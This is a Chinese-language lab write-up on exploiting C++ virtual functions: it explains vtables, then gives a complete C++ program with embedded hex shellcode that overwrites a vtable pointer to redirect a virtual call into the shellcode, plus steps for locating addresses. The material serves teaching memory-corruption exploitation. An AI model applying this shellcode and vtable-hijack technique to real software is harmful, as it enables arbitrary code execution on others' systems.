6 攻击C++的虚函数

目录

一、预备知识

 二、实验代码

三、实验思路

---

一、预备知识

        虚函数和虚表的几个要点：

• C++类的成员函数在声明时，若使用关键字virtual进行修饰，则被称为虚函数；

• 一个类中可能有多个虚函数；

• 虚函数的入口地址一般被统一保存在虚表（Vtable）中；

• 对象在使用虚函数时，先通过虚表指针找到虚表，然后从虚表中取出最终的函数入口地址进行调用；

• 虚表指针保存在对象的内存空间中，紧接着虚表指针的是其他成员变量；

• 虚函数只能通过对象指针的引用才能显示出其动态调用的特性。

        虚函数的实现如图所示：

 二、实验代码

#include "windows.h"
#include "iostream.h"
/*
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
*/
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x50\x90\x40\x00";//set fake virtual function pointer


class Failwest
{
public:
	char buf[200];
	virtual void test(void)
	{
		cout<<"Class Vtable::test()"<<endl;
	}
};
Failwest overflow, *p;
void main(void)
{
	//__asm int 3
	char * p_vtable;
	p_vtable=overflow.buf-4;//point to virtual table
	//reset fake virtual table to 0x004088cc
	//the address may need to ajusted via runtime debug
	p_vtable[0]=0x00;
	p_vtable[1]=0x91;
	p_vtable[2]=0x40;
	p_vtable[3]=0x00;
	strcpy(overflow.buf,shellcode);//set fake virtual function pointer
	p=&overflow;
	p->test();
}

        对这段程序需要说明如下。

        （1 ）虚表指针位于成员变量 char buf[200] 之前，程序中通过 p_vtable=overflow.buf-4 定位到

这个指针；

        （2）修改虚表指针指向缓冲区的 0x00409050 处。

        （3）程序执行到 p->test() 时，将按照伪造的虚函数指针去 0x00409050 寻找虚表，这里正

好是缓冲区里 shellcode 的末尾。

 

三、实验思路

        根据虚函数的实现原理，要想实现shellcode，我们只需要将虚表中的虚函数入口地址改为shellcode的入口地址即可。

        首先找到shellcode的入口地址，将shellcodeg全部变为“\x90”，可发现shellcode入口地址为0x409050;

         然后让虚表指针指向shellcode的尾部，即0x00409100，调用函数时，虚表指针拿到一个错误的函数入口地址，将会指向shellcode。